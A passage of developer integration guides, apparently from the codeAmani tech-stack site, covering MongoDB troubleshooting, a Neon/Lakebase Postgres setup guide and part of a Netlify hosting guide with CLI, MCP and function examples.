Connection on Vercel Fluid Module-scoped client + attachDatabasePool + maxIdleTimeMS: 5000
Prototype / staging Flex ($30/month cap). Free M0 only for demos
Kenya-targeted build Atlas AF_SOUTH_1 + Vercel cpt1. Johannesburg is M10+ only
Input validation Zod at the boundary + Mongoose schema + collection $jsonSchema
Analytics / joins / rollups Aggregation pipeline ($match → $lookup → $group → $project)
Atomic multi-document writes session.withTransaction(...)
Semantic search / RAG on Mongo data Vector Search with autoEmbed (voyage-4), or BYO Voyage vectors
Sensitive fields that must stay encrypted Queryable Encryption (driver 7.5+, Server 9.0 for string queries)
Inspect schema / indexes / run read queries MongoDB MCP (--readOnly)

Troubleshooting

Issue Fix
Atlas connection count climbs on Vercel Module-scoped client + attachDatabasePool(client) + maxIdleTimeMS: 5000; never new MongoClient() per request
MongoParseError / auth fails URL-encode the password; check the DB user and its role
MongoServerSelectionError / timeout Atlas IP access list must allow the host's egress (0.0.0.0/0 for Vercel; the Marketplace adds it)
OverwriteModelError models.X ?? model("X", schema)
MongooseError: Operation buffering timed out bufferCommands: false and await dbConnect() before queries
Fails on Edge / Workers Driver and Mongoose need Node.js; the Data API is EOL, so there's no HTTP fallback
Free cluster "throttled" M0 is 100 ops/s and 10 GB/7-day transfer. Move to Flex
$vectorSearch returns nothing Index still building, or numDimensions doesn't match the model; for autoEmbed, check that the index isn't Stale (disk full)
context-limit-exceeded on $vectorSearch Query text exceeds the model's 32K-token window
Automated Embedding queries rate-limited M0 with no card gets 3 RPM; add a payment method or use Flex
Aggregation slow (COLLSCAN) Index the $match/$sort fields; confirm IXSCAN via explain
MCP "connection timed out after 30000ms" Cold npx download; install mongodb-mcp-server globally or raise MCP_TIMEOUT (see the MCP section)
TS error Cannot find module 'ws' from @vercel/functions ws is an optional peer; keep skipLibCheck: true (Next.js default) or add @types/ws

codeAmani notes

Official docs:

Neon Integration Guide

Technology: neon · Category: database · Last reviewed: 2026-10-17

Source: https://tech-stack.codeamanilabs.org/guide/neon

Insight:

Neon is no longer "just serverless Postgres": it's a set of backend primitives around Lakebase Postgres (Databricks) — Postgres, Managed Better Auth, Functions, Object Storage, AI Gateway, Realtime and a Data API — declared in one neon.ts and branched together. One neon checkout gives a PR its own database, auth users, files, functions and gateway endpoint, copy-on-write.

███╗   ██╗███████╗ ██████╗ ███╗   ██╗
████╗  ██║██╔════╝██╔═══██╗████╗  ██║
██╔██╗ ██║█████╗  ██║   ██║██╔██╗ ██║
██║╚██╗██║██╔══╝  ██║   ██║██║╚██╗██║
██║ ╚████║███████╗╚██████╔╝██║ ╚████║
╚═╝  ╚═══╝╚══════╝ ╚═════╝ ╚═╝  ╚═══╝

Neon Integration Guide

Focus: Lakebase Postgres on Neon plus Neon's branchable backend primitives — the neon CLI, neon.ts config-as-code, the serverless driver, and the hosted MCP server — wired the codeAmani way (Next.js on Vercel, Clerk, Stripe).

Overview

Neon is a set of cloud backend primitives built around Lakebase Postgres, from Databricks. Lakebase Postgres is one product reached two ways — through Neon (free plan, full backend primitives) or through Databricks. Neon's own naming convention: call the database Lakebase Postgres and use Neon for the brand and access path.

Primitive What it is Status (2026-10)
Lakebase Postgres Postgres with decoupled compute/storage, autoscaling, scale-to-zero, instant restore, copy-on-write branches GA, all regions
Managed Better Auth Hosted Better Auth; users/sessions live in your DB (neon_auth schema) and branch with it GA
Functions Long-running Node.js 24 serverless functions next to your data (APIs, agents, WebSocket/SSE, cron) 4 regions
Object Storage S3-compatible buckets that branch copy-on-write with the database 4 regions
AI Gateway One Neon credential → OpenAI-compatible, Anthropic Messages, Responses, Gemini endpoints 4 regions, paid plans
Realtime Live SQL subscriptions on standard Postgres (@neon/realtime) Beta (preview.realtime)
Data API PostgREST-compatible HTTP interface Migration path only (see below)

Backend-service regions: Functions, Object Storage, AI Gateway and branch logs run only in aws-us-east-1, aws-us-east-2, aws-eu-central-1 and aws-ap-southeast-1. Postgres alone is also in aws-us-west-2, aws-eu-west-2, aws-ap-southeast-2 and aws-sa-east-1. Azure regions are deprecated for new projects. Pick the region at project creation — you can't move a project later.

Everything branches together: one branch gets its own database, auth users, bucket view, function deployment and gateway endpoint.

flowchart LR
    A["main branch<br/>Postgres · Auth · Buckets · Functions · Gateway"] -->|"neon checkout pr-42 --create"| B["pr-42 branch<br/>copy-on-write of all of it"]
    B --> C["build · migrate · test"]
    C --> Q1{"Good?"}
    Q1 -->|"yes"| D["merge code · run migration on main"]
    Q1 -->|"no"| E["neon branches reset / delete<br/>or TTL expires it"]

Official Documentation

Resource URL
Docs index (every page, .md-fetchable) https://neon.com/docs/llms.txt
How a Neon backend fits together https://neon.com/docs/get-started/backend-overview
neon.ts reference https://neon.com/docs/reference/neon-ts
Serverless driver https://neon.com/docs/serverless/serverless-driver
Neon CLI https://neon.com/docs/cli
MCP server https://neon.com/docs/ai/neon-mcp-server
Functions https://neon.com/docs/compute/functions/overview
Object Storage https://neon.com/docs/storage/overview
AI Gateway https://neon.com/docs/ai-gateway/overview
Managed Better Auth https://neon.com/docs/auth/overview
Realtime (beta) https://neon.com/docs/realtime/overview
Connection pooling https://neon.com/docs/connect/connection-pooling
Pricing https://neon.com/pricing

Docs as markdown. Append .md to any docs URL (or send Accept: text/markdown). Look pages up in llms.txt — don't guess URLs.


Packages (verified on npm 2026-10-17)

Package Version Use
neon (CLI; neonctl is the same binary) 8.8.0 Everything: link, checkout, deploy, branches, functions, buckets
@neondatabase/serverless 1.2.0 Postgres over HTTP/WebSockets (Node ≥ 19, edge)
@neon/config 1.9.2 defineConfig for neon.ts (@neon/config/v1)
@neon/env 1.6.3 parseEnv typed env, neon-env run runtime injection
@neon/sdk 7.3.0 Management API from TS (preferred over @neondatabase/api-client)
@neondatabase/auth 0.6.0-beta Managed Better Auth client/server SDK (Better Auth 1.7)
@neon/functions 0.11.0 waitUntil for Functions
@neon/realtime 0.1.1 Realtime (beta)
@neondatabase/mcp-server-neon — Deprecated — use the hosted MCP server

The CLI is preferred over MCP for agents (it can deploy Functions; MCP can't do everything). Install, then check credentials without printing them:

npm i -g neon                 # binary is `neon`; `neonctl` is an alias
neon --version
neon profile list -o json     # an `account` other than "-" means you're signed in

One-shot setup (agent tooling + linked project + optional neon.ts):

neon init --skip-template --agent claude \
  --org-id <org-id> --project-name my-app --region-id aws-us-east-2 -y

--services auth,functions,object-storage,ai-gateway declares services in neon.ts; it writes config but doesn't deploy. Or do it piece by piece:

neon link --project-id <project-id> -y   # writes git-ignored .neon, pulls env
neon checkout dev-search --create        # new branch per task; pulls its env
neon diff                                # schema diff vs parent before you commit

link and checkout run neon env pull by default, which writes the branch's variables into .env (or .env.local). Pass --no-env-pull to keep secrets off disk and inject at runtime with neon-env run -- next dev (from @neon/env).

Useful commands

neon branches list
neon connection-string            # alias: neon cs
neon inspect db                   # read-only health checks (sizes, unused indexes, bloat…)
neon snapshots create --branch main --name pre-migration
neon logs query --branch production --source function --minimum-severity error --since 6h
neon functions deploy <slug> --src functions/api.ts
neon buckets list
neon credentials create --scope ai_gateway:invoke
neon skills update -y             # keep Neon agent skills current

neon.ts — config as code

neon.ts declares which services exist on every branch and how new branches are tuned. It's TypeScript, so invalid combinations fail to compile with a message that names the fix.

npm i @neon/config        # or: neon config init
// neon.ts
import { defineConfig } from "@neon/config/v1";

export default defineConfig({
  aiGateway: true,                         // injects NEON_AI_GATEWAY_TOKEN / _BASE_URL
  buckets: {
    uploads: { access: "private" },        // injects AWS_* S3 credentials
  },
  functions: {
    api: {                                 // slug: ^[a-z0-9]{1,20}$, immutable once deployed
      name: "Public API",
      source: "functions/api.ts",
      env: { STRIPE_SECRET_KEY: process.env.STRIPE_SECRET_KEY! },
    },
  },
  triggers: {
    nightly: { type: "schedule", function: "api", cron: "0 3 * * *", functionPath: "/cron/nightly" },
  },
  branch: (branch) => {
    if (branch.exists || branch.isDefault) return {};   // never retune live branches
    return {
      ttl: "7d",
      postgres: {
        computeSettings: { autoscalingLimitMinCu: 0.25, autoscalingLimitMaxCu: 1, suspendTimeout: "5m" },
      },
    };
  },
});
Service key Injects
(always) Postgres DATABASE_URL (pooled), DATABASE_URL_UNPOOLED (direct), NEON_BRANCH
auth: true NEON_AUTH_BASE_URL, NEON_AUTH_JWKS_URL
aiGateway: true NEON_AI_GATEWAY_TOKEN, NEON_AI_GATEWAY_BASE_URL
buckets AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_ENDPOINT_URL_S3, AWS_REGION
dataApi NEON_DATA_API_URL (requires auth: true or an external JWKS)
preview.realtime NEON_REALTIME_URL, NEON_REALTIME_SECRET (needs @neon/config ≥ 1.9.0)

Apply it — Terraform-style:

neon status                         # live config (read-only)
neon config plan                    # dry-run diff
neon deploy --env .env.local        # apply; alias for `neon config apply`, then pulls env

Function env gotchas (from the docs): values resolve at deploy time from process.env; --env <file> loads that file before neon.ts is evaluated. Every declared key must be a defined string — never write ?? "": deploying an empty value deletes the live variable. aiGateway, functions and buckets moved out of preview in @neon/config 1.6.0 (the preview.* form is a deprecated alias).


Connecting to Postgres

Serverless driver (default for Vercel)

npm install @neondatabase/serverless
import { neon } from "@neondatabase/serverless";

const sql = neon(process.env.DATABASE_URL!);

// Tagged template only — values are parameterized automatically.
const posts = await sql`SELECT * FROM posts WHERE id = ${postId}`;

// Plain parameterized string:
const same = await sql.query("SELECT * FROM posts WHERE id = $1", [postId]);

// Non-interactive transaction over HTTP:
await sql.transaction([
  sql`INSERT INTO posts (title) VALUES (${"a"})`,
  sql`INSERT INTO posts (title) VALUES (${"b"})`,
]);

Pooled vs direct

Variable Host Use for
DATABASE_URL ep-…-pooler.<region>.aws.neon.tech (PgBouncer, transaction mode, up to 10,000 clients) App traffic
DATABASE_URL_UNPOOLED ep-….<region>.aws.neon.tech Migrations, LISTEN/NOTIFY, session state

max_connections scales with compute size (104 at 0.25 CU, 419 at 1 CU, capped at 4,000 from 9 CU); 7 are reserved. In long-lived processes keep pg pools small (e.g. max: 5) — effective connections = max × live instances.

Drizzle

import { neon } from "@neondatabase/serverless";
import { drizzle } from "drizzle-orm/neon-http";

export const db = drizzle(neon(process.env.DATABASE_URL!));

Point drizzle-kit at DATABASE_URL_UNPOOLED (see examples/drizzle.config.ts).

Prisma 7

Pin the major: Prisma's latest tag is an 8.x prerelease.

npm install @prisma/client@7 @prisma/adapter-neon@7 dotenv
npm install -D prisma@7 tsx
// prisma.config.ts — CLI (migrate, db push) uses the DIRECT url
import { defineConfig, env } from "prisma/config";
export default defineConfig({
  schema: "prisma/schema.prisma",
  datasource: { url: env("DATABASE_URL_UNPOOLED") },
});
// lib/prisma.ts — runtime uses the POOLED url through the adapter
import { PrismaClient } from "@prisma/client";
import { PrismaNeon } from "@prisma/adapter-neon";

const adapter = new PrismaNeon({ connectionString: process.env.DATABASE_URL! });
export const prisma = new PrismaClient({ adapter });

In Prisma 7, no url in the schema.prisma datasource block, and don't install @neondatabase/serverless/ws separately — the adapter bundles them. (Prisma ≤ 6 used url + directUrl in the schema.)


Backend primitives

Functions

Any module whose default export has fetch(request) → Response is a function; a Hono app works as-is (export default app).

// functions/api.ts
import { Hono } from "hono";
import { neon } from "@neondatabase/serverless";
import { createRemoteJWKSet, jwtVerify } from "jose";

const sql = neon(process.env.DATABASE_URL!);         // injected per branch
const jwks = createRemoteJWKSet(new URL(process.env.NEON_AUTH_JWKS_URL!));
const issuer = new URL(process.env.NEON_AUTH_BASE_URL!).origin;

const app = new Hono<{ Variables: { userId: string } }>();

app.use("*", async (c, next) => {                     // public URL: authenticate first
  const header = c.req.header("authorization") ?? "";
  if (!header.toLowerCase().startsWith("bearer ")) return c.text("Unauthorized", 401);
  try {
    const { payload } = await jwtVerify(header.slice(7), jwks, { issuer });
    if (!payload.sub) return c.text("Unauthorized", 401);
    c.set("userId", payload.sub);
  } catch {
    return c.text("Unauthorized", 401);
  }
  await next();
});

app.get("/notes", async (c) => {
  const userId = c.get("userId");
  return c.json(await sql`SELECT id, body FROM notes WHERE owner_id = ${userId}`);
});

export default app;
neon dev                               # local dev server with branch env injected
neon deploy --env .env.local           # or: neon functions deploy api --src functions/api.ts

Runtime limits that shape design:

Limit Value
Runtime Node.js 24, JS/TS only, microVM per isolate
Time to first byte 15 min
Stream / WebSocket heartbeat ≥ 1 byte every 15 min
waitUntil (from @neon/functions) 15 min after response
Memory 2,048 MiB fixed
Concurrency 100 concurrent invocations per account (default)
Shutdown SIGINT, then hard stop after 5 s

Functions are request/response, not a job queue — pair with Inngest/QStash for retryable work. They don't host websites. Every function URL is public: verify a JWT or API key at the top of the handler and allowlist CORS origins in production.

Object Storage

import { S3Client } from "@aws-sdk/client-s3";

export const s3 = new S3Client({
  region: process.env.AWS_REGION,
  endpoint: process.env.AWS_ENDPOINT_URL_S3,
  credentials: {
    accessKeyId: process.env.AWS_ACCESS_KEY_ID!,
    secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY!,
  },
  forcePathStyle: true,
  requestChecksumCalculation: "WHEN_REQUIRED",   // else presigned PUTs reject real bodies
});

Max object 5 GiB (multipart for > 100 MB). Throttling returns 503 SlowDown — back off and retry. Free plan: 5 GB per project. A storage_object_created trigger can call a Function on upload.

AI Gateway

Needs a paid plan with prepaid credits ($5 minimum). One credential, every model; the per-branch host looks like br-<name>-api.ai.<cell>.<region>.aws.neon.tech.

Dialect Base URL
Chat Completions / Embeddings (OpenAI SDK) ${NEON_AI_GATEWAY_BASE_URL}/v1
OpenAI Responses API ${NEON_AI_GATEWAY_BASE_URL}/openai/v1
Anthropic Messages (Anthropic SDK) ${NEON_AI_GATEWAY_BASE_URL}/anthropic (SDK appends /v1/messages)
import Anthropic from "@anthropic-ai/sdk";

const claude = new Anthropic({
  authToken: process.env.NEON_AI_GATEWAY_TOKEN,          // authToken, not apiKey
  baseURL: `${process.env.NEON_AI_GATEWAY_BASE_URL}/anthropic`,
});

The Anthropic endpoint forwards cache_control and extended thinking unchanged. Check what your branch can serve at runtime with GET {base}/v1/models rather than hard-coding the catalog.

Managed Better Auth

// lib/auth/server.ts (Next.js)
import { createNeonAuth } from "@neondatabase/auth/next/server";

export const auth = createNeonAuth({
  baseUrl: process.env.NEON_AUTH_BASE_URL!,
  cookies: { secret: process.env.NEON_AUTH_COOKIE_SECRET! },   // ≥ 32 chars
});
// app/api/auth/[...path]/route.ts → export const { GET, POST } = auth.handler();

Users and sessions live in the neon_auth schema and branch with your data. Free plan covers 60k MAU; paid plans up to 1M. Can't be enabled on projects using IP Allow or Private Networking.

Data API and Realtime


MCP server (hosted)

claude mcp add --transport http neon https://mcp.neon.tech/mcp   # then /mcp to OAuth
# or let the CLI write config:
neon mcp --oauth --project --agent claude -y

Neon is also an official Claude connector (claude.ai → Settings → Connectors).

URL parameter Effect
?readonly=true Reads + schema only (no run_sql_transaction)
?projectId=<id> Scope to one project
?category=<name> (repeatable) projects, branches, endpoints, snapshots, schema, querying, neon_auth, data_api, observability, docs, functions, storage, realtime
?roleName=<role> SQL tools log in as that Postgres role (create it with SQL — Console-created roles are neon_superuser)

Preview a config without auth: curl "https://mcp.neon.tech/api/list-tools?readonly=true&category=querying". If IP Allow is on, allowlist the MCP server's IPs 34.192.103.46 and 23.22.233.166. The old /sse endpoint is retired; stdio-only clients bridge with npx -y mcp-remote@latest https://mcp.neon.tech/mcp.

Most-used tools: run_sql, describe_table_schema, create_branch, compare_database_schema, prepare_database_migration → complete_database_migration, inspect_database (15 read-only checks), list_slow_queries, explain_sql_statement, prepare_query_tuning → complete_query_tuning, create_snapshot/restore_snapshot.

Development and testing only — never point MCP at production or PII data.


pgvector

Neon ships pgvector (and the newer Lakebase Search for vector + full-text).

CREATE EXTENSION IF NOT EXISTS vector;
CREATE TABLE items (id BIGSERIAL PRIMARY KEY, content TEXT, embedding VECTOR(1536));
CREATE INDEX ON items USING hnsw (embedding vector_cosine_ops) WITH (m = 16, ef_construction = 64);

SELECT id, content FROM items ORDER BY embedding <=> $1 LIMIT 5;   -- needs ORDER BY + LIMIT to use the index

HNSW on vector caps at 2,000 dims; for 3,072-dim embeddings index a halfvec cast (up to 4,000): USING hnsw ((embedding::halfvec(3072)) halfvec_cosine_ops).


CI: branch per PR

# .github/workflows/neon-preview.yml
on:
  pull_request:
    types: [opened, synchronize, closed]
jobs:
  preview:
    if: github.event.action != 'closed'
    runs-on: ubuntu-latest
    steps:
      - uses: neondatabase/create-branch-action@v6
        id: neon
        with:
          project_id: ${{ vars.NEON_PROJECT_ID }}
          api_key: ${{ secrets.NEON_API_KEY }}
          branch_name: preview/pr-${{ github.event.number }}
          # optional: expires_at: <ISO-8601 timestamp> to auto-delete the branch
      # outputs: db_url, db_url_pooled, db_host, db_host_pooled, branch_id, auth_url, data_api_url
  cleanup:
    if: github.event.action == 'closed'
    runs-on: ubuntu-latest
    steps:
      - uses: neondatabase/delete-branch-action@v3
        with:
          project_id: ${{ vars.NEON_PROJECT_ID }}
          api_key: ${{ secrets.NEON_API_KEY }}
          branch: preview/pr-${{ github.event.number }}

On Vercel, the Neon-managed Vercel integration does the same per preview deployment without a workflow.


Pricing snapshot (2026-10-17 — re-verify at neon.com/pricing)

Free Launch Scale
Compute 100 CU-hours/project $0.106/CU-hour $0.222/CU-hour
Postgres storage 1 GB/project, 20 GB account $0.35/GB-month $0.35/GB-month
Branches included 10 10 (+$1.50/branch-month) 25 (+$1.50)
History window 6 h up to 7 d up to 30 d
Scale to zero 5 min, always on 5 min, can disable 1 min → always on
Egress 5 GB 500 GB, then $0.10/GB 500 GB, then $0.10/GB
Auth MAU 60k 1M 1M
Object Storage 5 GB/project $0.023/GB-month $0.023/GB-month
AI Gateway — prepaid credits prepaid credits
IP Allow / Private Networking / HIPAA / SLA — — Yes

Running out of Free CU-hours or egress suspends compute; exceeding storage blocks writes. Nothing is deleted.


Troubleshooting

Issue Fix
First query slow / Prisma P1001 Compute was scaled to zero; retry, or add connect_timeout=15
wrong URL scheme / missing host from the driver DATABASE_URL not loaded (node --env-file=.env, or dotenv/config)
Migration fails through PgBouncer Use DATABASE_URL_UNPOOLED for migrations
defineConfig throws on a function env key A process.env value is unset — add it to the --env file or drop the key
Function deploy requires_claim Claimable project not yet claimed — Functions/Storage/Gateway need a claimed account
Functions/Storage/Gateway unavailable Project is outside the four backend-service regions — create a new project in one
AI Gateway 4xx on Anthropic endpoint Base URL must end in /anthropic (no /v1) and model must be an Anthropic ID
503 SlowDown from storage Back off and retry
Auth can't be enabled Project has IP Allow or Private Networking enabled

codeAmani notes

Official docs:

Netlify Integration Guide

Technology: netlify · Category: hosting · Last reviewed: 2026-09-24

Source: https://tech-stack.codeamanilabs.org/guide/netlify

Insight:

Netlify is the alternative host to Vercel — similar git-driven deploys and edge functions. Pick it when a project already lives there or needs Netlify-specific features (Forms, Identity, or Netlify Database, whose per-deploy-preview Postgres branching has no Vercel equivalent); otherwise default to Vercel for stack consistency.

███╗   ██╗███████╗████████╗██╗     ██╗███████╗██╗   ██╗
████╗  ██║██╔════╝╚══██╔══╝██║     ██║██╔════╝╚██╗ ██╔╝
██╔██╗ ██║█████╗     ██║   ██║     ██║█████╗   ╚████╔╝
██║╚██╗██║██╔══╝     ██║   ██║     ██║██╔══╝    ╚██╔╝
██║ ╚████║███████╗   ██║   ███████╗██║██║        ██║
╚═╝  ╚═══╝╚══════╝   ╚═╝   ╚══════╝╚═╝╚═╝        ╚═╝

Netlify Integration Guide

Focus: Deploying sites, managing edge functions, and automating Netlify projects from Claude Code using the official Netlify MCP server and netlify-cli.

Overview

Netlify is a platform for hosting web apps with built-in CI/CD, edge functions, forms, and identity. Its official MCP server (launched Feb 2025) lets Claude Code create projects, trigger deploys, manage environment variables, install extensions, and query build logs — all via natural language inside your coding session.

Here is the big picture of how a change reaches your users — once you see the flow, the commands below click into place:

flowchart LR
  A["git push"] --> B["Netlify CI/CD<br/>build"]
  B --> C{"PR or<br/>main?"}
  C -->|"PR"| D["Preview deploy<br/>unique URL"]
  C -->|"main"| E["Production deploy"]
  E --> F["Edge network<br/>CDN"]
  F --> G["Users"]

Platform Primitives

Netlify's capabilities are exposed as framework-agnostic platform primitives rather than framework features. Whatever you build with — Next.js, Astro, Nuxt, Remix, TanStack Start, SvelteKit — the framework's server code is compiled into Netlify Functions and Edge Functions at build time, and every primitive below becomes available without framework-specific plumbing.

That is the whole design argument: you are not waiting for your framework to add support for image optimisation or cache control, because those live a layer below it.

flowchart TD
  A["Your framework<br/>Next · Astro · Nuxt · Remix · TanStack"] --> B["Build"]
  B --> C["Functions<br/>regional Node"]
  B --> D["Edge Functions<br/>Deno at CDN"]
  C --> E[("Database<br/>Postgres")]
  C --> F[("Blobs<br/>key-value")]
  C --> G["AI Gateway"]
  D --> H["Edge Network<br/>cache + Netlify-Vary"]
  C --> H
  H --> I["Users"]
Primitive What it is Section
Functions Regional Node handlers, web-standard Request → Response, 60s sync / 15 min background Serverless Functions
Edge Functions Deno at the CDN node — auth gates, redirects, geo, A/B Edge Function Example
Netlify Database Managed Postgres with per-preview branching and automatic migrations Netlify Database
Blobs Zero-config key-value / object store, callable from Functions and the CLI —
Image CDN On-demand resize + format negotiation via /.netlify/images —
Caching Netlify-CDN-Cache-Control, cache tags, SWR, durable cache Edge Network
AI Gateway Keyless access to OpenAI / Anthropic / Gemini / OpenRouter models AI Gateway
Agent Runners Coding agents run on Netlify, one DB branch + preview per run Agent Runners
Forms HTML form capture with no backend code —
Identity Built-in auth (GoTrue) — codeAmani uses Clerk instead Security

Everything above runs locally. netlify dev emulates the full set — Functions, Edge Functions, Blobs, the database, AI Gateway, redirects, and the Image CDN — and Vite projects get the same through @netlify/vite-plugin without invoking the CLI. For tests, @netlify/dev exposes that emulator as a library. This is the practical reason the local/production gap on Netlify is small: it is the same engine, not a mock.


Official Documentation

Resource URL
Netlify Docs https://docs.netlify.com
Netlify MCP Server https://docs.netlify.com/build/build-with-ai/netlify-mcp-server/
Netlify CLI Reference https://docs.netlify.com/cli/get-started/
Edge Functions https://docs.netlify.com/edge-functions/overview/
Netlify Functions https://docs.netlify.com/functions/overview/
Netlify Database https://docs.netlify.com/build/data-and-storage/netlify-database/
Database: getting started https://docs.netlify.com/build/data-and-storage/netlify-database/getting-started/
Database: API reference https://docs.netlify.com/build/data-and-storage/netlify-database/api/
Database: migrations https://docs.netlify.com/build/data-and-storage/netlify-database/migrations/
Database: CLI reference https://docs.netlify.com/build/data-and-storage/netlify-database/cli/
Database: billing & limits https://docs.netlify.com/build/data-and-storage/netlify-database/billing-and-usage/
AI Gateway https://docs.netlify.com/build/ai-gateway/overview/
AI Gateway: quickstart https://docs.netlify.com/build/ai-gateway/quickstart-for-ai-gateway/
Agent Runners https://docs.netlify.com/build/build-with-ai/agent-runners/overview/
Observability https://docs.netlify.com/manage/monitoring/observability/overview/
Log drains https://docs.netlify.com/manage/monitoring/log-drains/
Security overview https://docs.netlify.com/manage/security/overview/
Secrets Controller https://docs.netlify.com/build/environment-variables/secrets-controller/
Caching (Edge Network) https://docs.netlify.com/build/caching/caching-overview/

MCP Server Setup

Official Netlify MCP Server

The official Netlify MCP server ships as the @netlify/mcp npm package (repo: netlify/netlify-mcp). The older netlify-mcp package name no longer exists — use @netlify/mcp or the hosted remote endpoint.

# Local (stdio) — runs the package via npx
claude mcp add netlify -- npx -y @netlify/mcp

# Remote (hosted) — Netlify's managed endpoint, handles auth via OAuth in the client
npx -y add-mcp https://netlify-mcp.netlify.app/mcp

.mcp.json Configuration

{
  "mcpServers": {
    "netlify": {
      "command": "npx",
      "args": ["-y", "@netlify/mcp"],
      "env": {
        "NETLIFY_AUTH_TOKEN": "${NETLIFY_AUTH_TOKEN}"
      }
    }
  }
}

Requirements: Node.js 22+, a Netlify account with a personal access token (NETLIFY_AUTH_TOKEN). The remote endpoint (https://netlify-mcp.netlify.app/mcp) authenticates over OAuth instead of a token and needs no local Node runtime.

Available MCP Tools

The current server is capability/service based (not one tool per action). Tools group into reader/updater services plus a coding-context helper:

Tool Description
get-netlify-coding-context Fetch Netlify's current best-practice context for a capability (serverless, edge-functions, blobs, image-cdn, forms, db) — call before writing Netlify code
netlify-project-services-reader / …-updater Read / create + configure projects (sites), env vars, and project settings
netlify-deploy-services-reader / …-updater Query deploy status + logs; trigger and manage deploys
netlify-extension-services-reader / …-updater Discover and install/configure Netlify extensions
netlify-team-services-reader Team, membership, and billing info
netlify-user-services-reader Authenticated user info

The server also exposes documentation skills for each primitive: netlify-functions, netlify-edge-functions, netlify-blobs, netlify-db, netlify-image-cdn, netlify-forms, netlify-config, netlify-cli-and-deploy, netlify-caching, and netlify-ai-gateway.


CLI Integration

Installation

npm install -g netlify-cli

Current major is netlify-cli v27 (requires Node.js 22+). Verify with netlify --version; upgrade with npm install -g netlify-cli@latest.

Authentication

# Interactive login (browser OAuth)
netlify login

# Token-based (for CI)
export NETLIFY_AUTH_TOKEN=...

Key Commands

# Initialize / link a site
netlify init
netlify link

# Deploy (draft)
netlify deploy

# Deploy to production
netlify deploy --prod

# Open site dashboard
netlify open

# Run dev server (with Functions/Edge Functions)
netlify dev

# Invoke a serverless function locally
netlify functions:invoke my-function --payload '{"key":"value"}'

# Manage environment variables
netlify env:set MY_VAR "my-value"
netlify env:list
netlify env:unset MY_VAR

# View build and deploy logs
netlify status
netlify logs:deploy

# Pull environment to local file
netlify env:import .env

Environment Variables

# Required for MCP and CLI
NETLIFY_AUTH_TOKEN=...          # From app.netlify.com/user/applications

# Optional project-specific
NETLIFY_SITE_ID=...             # From site settings or `netlify link`

# Variables set for your deployed site
DATABASE_URL=postgresql://...     # only if you bring your own database
NEXT_PUBLIC_API_URL=https://api.example.com

NETLIFY_DB_URL is injected for you. If the project uses Netlify Database, Netlify sets this connection string automatically in builds, agent runners, functions, and edge functions, resolved to the correct database branch for the current deploy. Never set it by hand, never commit it, and never pin it in a secrets vault — a hard-coded value will point at the wrong branch (or a rotated credential). Read it via Netlify.env.get("NETLIFY_DB_URL"), or better, call getConnectionString() from @netlify/database.

Inside function code, read variables via the global Netlify.env — not process.env. Netlify injects a web-standard Netlify object into both serverless and edge functions:

const key = Netlify.env.get("DARAJA_CONSUMER_SECRET"); // server-side only

Store all secrets (Stripe signing secret, Daraja consumer key/secret) as env vars — never in code or in netlify.toml, which is committed.


Automation Workflows

Claude Code Hook: Lint Before Deploy

.claude/settings.json:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash",
        "hooks": [
          {
            "type": "command",
            "command": "if echo \"$CLAUDE_TOOL_INPUT\" | grep -q 'netlify deploy --prod'; then npm run lint && npm run test; fi"
          }
        ]
      }
    ]
  }
}

Slash Command: Deploy to Netlify

.claude/commands/netlify-deploy.md:

Deploy the current project to Netlify production.

Run the following steps:
1. Use Bash to run `npm run build` and confirm it succeeds
2. Use Bash to run `netlify deploy --prod --dir=dist` (adjust dir as needed)
3. Report the deploy URL and any warnings
4. If deploy fails, use Bash to run `netlify logs:deploy` and report errors

Usage: /project:netlify-deploy

GitHub Actions: Preview + Production Deploy

# .github/workflows/netlify.yml
name: Netlify Deploy
on:
  pull_request:
  push:
    branches: [main]

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with: { node-version: '22' }
      - run: npm ci && npm run build

      - name: Deploy Preview
        if: github.event_name == 'pull_request'
        env:
          NETLIFY_AUTH_TOKEN: ${{ secrets.NETLIFY_AUTH_TOKEN }}
          NETLIFY_SITE_ID: ${{ secrets.NETLIFY_SITE_ID }}
        run: |
          npm install -g netlify-cli
          deploy_url=$(netlify deploy --dir=dist --json | jq -r '.deploy_url')
          echo "Preview: $deploy_url"

      - name: Deploy Production
        if: github.ref == 'refs/heads/main'
        env:
          NETLIFY_AUTH_TOKEN: ${{ secrets.NETLIFY_AUTH_TOKEN }}
          NETLIFY_SITE_ID: ${{ secrets.NETLIFY_SITE_ID }}
        run: netlify deploy --prod --dir=dist

Edge Function Example

Edge functions are great for running logic close to the user before a request reaches your site — here is how the auth example below fits into a request:

sequenceDiagram
  participant U as "User"
  participant E as "Edge Function"
  participant S as "Site"
  U->>E: "Request /api/*"
  E->>E: "Check Authorization header"
  alt "Missing or invalid token"
    E-->>U: "401 Unauthorized"
  else "Valid Bearer token"
    E->>S: "Forward via context.next"
    S-->>U: "Response"
  end

netlify/edge-functions/auth.ts:

import type { Config, Context } from "@netlify/edge-functions";

export default async function handler(req: Request, context: Context) {
  const token = req.headers.get("Authorization");
  if (!token || !token.startsWith("Bearer ")) {
    return new Response("Unauthorized", { status: 401 });
  }
  return context.next();
}

export const config: Config = {
  path: "/api/*",
};

Serverless Functions

Edge functions run light logic at the CDN edge; serverless functions are full Node.js handlers for heavier work — talking to a database, calling the Daraja STK Push API, signing tokens, or handling M-Pesa callbacks. They live in netlify/functions/ and use the same web-standard Request → Response signature as edge functions, but run in a regional Node runtime with the full npm ecosystem available.

Function Example

netlify/functions/stk-push.mts:

import type { Config, Context } from "@netlify/functions";

export default async (req: Request, context: Context) => {
  if (req.method !== "POST") {
    return new Response("Method Not Allowed", { status: 405 });
  }

  const { phone, amount } = await req.json();

  // Heavy lifting belongs here: DB writes, Daraja token + STK Push, etc.
  // const token = await getDarajaToken();
  // const result = await initiateStkPush({ phone, amount, token });

  return new Response(JSON.stringify({ ok: true, phone, amount }), {
    status: 200,
    headers: { "content-type": "application/json" },
  });
};

export const config: Config = {
  path: "/api/stk-push",
};

Install the types once: npm install @netlify/functions. The .mts extension opts into ES modules; netlify/functions/stk-push.mts, netlify/functions/stk-push/stk-push.mts, and netlify/functions/stk-push/index.mts all define a function named stk-push.

How to Invoke

[functions] Config

The default directory is netlify/functions. esbuild is now the default bundler, so this block is optional — set it only to change the directory or opt out:

[functions]
  directory = "netlify/functions"
